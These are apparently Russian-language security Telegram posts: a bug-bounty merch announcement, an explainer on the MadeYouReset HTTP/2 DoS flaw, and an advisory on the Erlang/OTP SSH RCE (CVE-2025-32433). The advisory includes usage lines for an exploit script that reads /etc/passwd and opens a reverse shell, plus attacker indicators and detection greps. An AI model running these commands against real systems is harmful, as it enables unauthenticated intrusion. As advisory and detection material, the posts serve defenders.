Лимитированный мерч на OFFZONE
#offzone2025

🔥 Специально к OFFZONE сделали лимитированный мерч для настоящих багхантеров. Учли, как быстро разбирают мерч, поэтому в этот раз будут условия раздачи:
1. Сдать хотя бы 1 оплаченный low+ отчёт на багбаунти платформе Бизона за последние полгода. Ребята также будут триажить во время ивента, так что сданные баги 21-22 августа будут засчитываться.
2. Быть подписанными на мой канал и канал площадки.

‼️ Проверять будем прямо на стенде. Все условия являются обязательными, попытки выпросить или выкрасть мерч будут пресекаться.

🎁 Новый мерч можно получить только на стенде BIZONE Bug Bounty, найти на карте OFFZONE, в магазине этот мерч продаваться не будет!

🧐 Дизайн останется в тайне, но я и некоторые члены команды бизон бб на ивенте уже будут в нём))
🧐 Тираж: 50 штук. В день будем выдавать максимум 25 штук, чтобы каждый вне зависимости от дня посещения имел возможность получить мерч.

MadeYouReset: Новая HTTP/2 DoS атака, которую уже заблокировали
#research #http2 #http1 #http #DoS #CVE

Исследователи из Тель-Авивского университета обнаружили новую HTTP/2 DoS уязвимость под названием MadeYouReset (CVE-2025-8671). Интересно, что большинство крупных провайдеров уже защищены от неё благодаря мерам против прошлогодней атаки Rapid Reset.

HTTP/2 stream reset - это механизм, который позволяет клиенту отменить HTTP-запрос до получения ответа от сервера. Представьте это как возможность сказать "неважно" официанту, который уже пошёл на кухню с вашим заказом. Полезная функция, ведь её можно использовать для атак))

Разница с Rapid Reset:

Rapid Reset (CVE-2023-44487) работал через прямые команды сброса потоков - клиент создавал множество запросов и сразу их отменял, заставляя сервер тратить ресурсы впустую.

MadeYouReset использует более хитрый подход: вместо прямых команд сброса атакующий отправляет специально искаженные HTTP/2 frames, которые заставляют сам сервер инициировать сброс потоков. Это как подсунуть официанту неправильный заказ, чтобы он сам его отменил.

➡️Механизм атаки:

Шаг 1: Создание соединения
Атакующий устанавливает HTTP/2 соединение с целевым сервером.

Шаг 2: Отправка malformed frames
Клиент отправляет специально искаженные control frames, которые нарушают спецификацию HTTP/2.

Шаг 3: Принудительный reset
Сервер, обнаружив некорректные frames, автоматически инициирует сброс потоков для поддержания стабильности соединения.

Шаг 4: Истощение ресурсов
Массовые принудительные сбросы потоков перегружают сервер, приводя к отказу в обслуживании.

➡️Интерестинг момент

Уязвимость затрагивает только ограниченное количество HTTP/2 реализаций. Большинство крупных провайдеров (Cloudflare, AWS, Google) уже имеют защиту благодаря DoS'ам 2 года назад через Rapid Reset.

➡️Защитные меры:

Для администраторов:
- Обновление HTTP/2 серверов до последних версий
- Применение rate limiting для HTTP/2 соединений
- Мониторинг аномальной активности stream reset

Проверка версии:

# Проверка версии nginx с HTTP/2
nginx -V | grep http_v2

# Проверка Apache HTTP/2 модуля
apache2ctl -M | grep http2

# Мониторинг HTTP/2 stream resets
netstat -i | grep RST

🔗Источники:
- Cloudflare Blog
- CVE-2025-8671

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK

CVE-2025-32433: RCE в Erlang/OTP SSH
#CVE #RCE #SSH #erlang #IoT

Обнаружена критическая уязвимость в SSH-демоне Erlang/OTP с максимально возможным CVSS 10.0, которая активно эксплуатируется в дикой природе. Атакующие могут выполнять произвольный код без аутентификации, отправляя SSH_MSG_CHANNEL_REQUEST сообщения до завершения процедуры входа.

➡️Что такое Erlang/OTP SSH
Erlang/OTP - это платформа для создания распределенных систем, которая включает собственную реализацию SSH-сервера. Эта реализация используется в телекоммуникационном оборудовании, IoT-устройствах и промышленных системах, где требуется надежная связь между узлами.

➡️Exploit <прикрепленный файл>

Запуск

python cve-2025-32433.py <host> [options]

Чекер

python cve-2025-32433.py 127.0.0.1 --check

Выполнение команд

python cve-2025-32433.py 127.0.0.1 --c 'cat /etc/passwd'

Прокидывание reverse shell'а

python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

➡️Активная эксплуатация
TXOne Networks зафиксировала три различные кампании с апреля 2025 года:
Кампания 1 (Нидерланды): Загрузка bash-скрипта с yaso[.]su, очистка истории команд для сокрытия следов
Кампания 2 (Великобритания): Загрузка бинарного файла с 107.150.0[.]103, оставление маркера "hello_cve_2025_32433"
Кампания 3 (США): Мультиархитектурный ботнет с поддержкой x86_64 и i586, загрузка с 196.251.66[.]32

➡️Затронутые версии
- OTP-25 до 25.3.2.20
- OTP-26 до 26.2.5.11
- OTP-27 до 27.3.3

➡️Защитные меры
Немедленное обновление до исправленных версий - единственный надежный способ защиты. Временно можно отключить SSH-компонент Erlang/OTP или ограничить доступ к порту 22 через файрвол.

➡️Проверка на компрометацию

# Поиск подозрительных процессов
ps aux | grep -E "(yaso|hello_cve|top1miku)"

# Проверка сетевых соединений
netstat -an | grep :22

# Анализ логов SSH
journalctl -u ssh | grep -i erlang

🔗Дополнительная информация:
- TXOne Networks
- Exploit

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK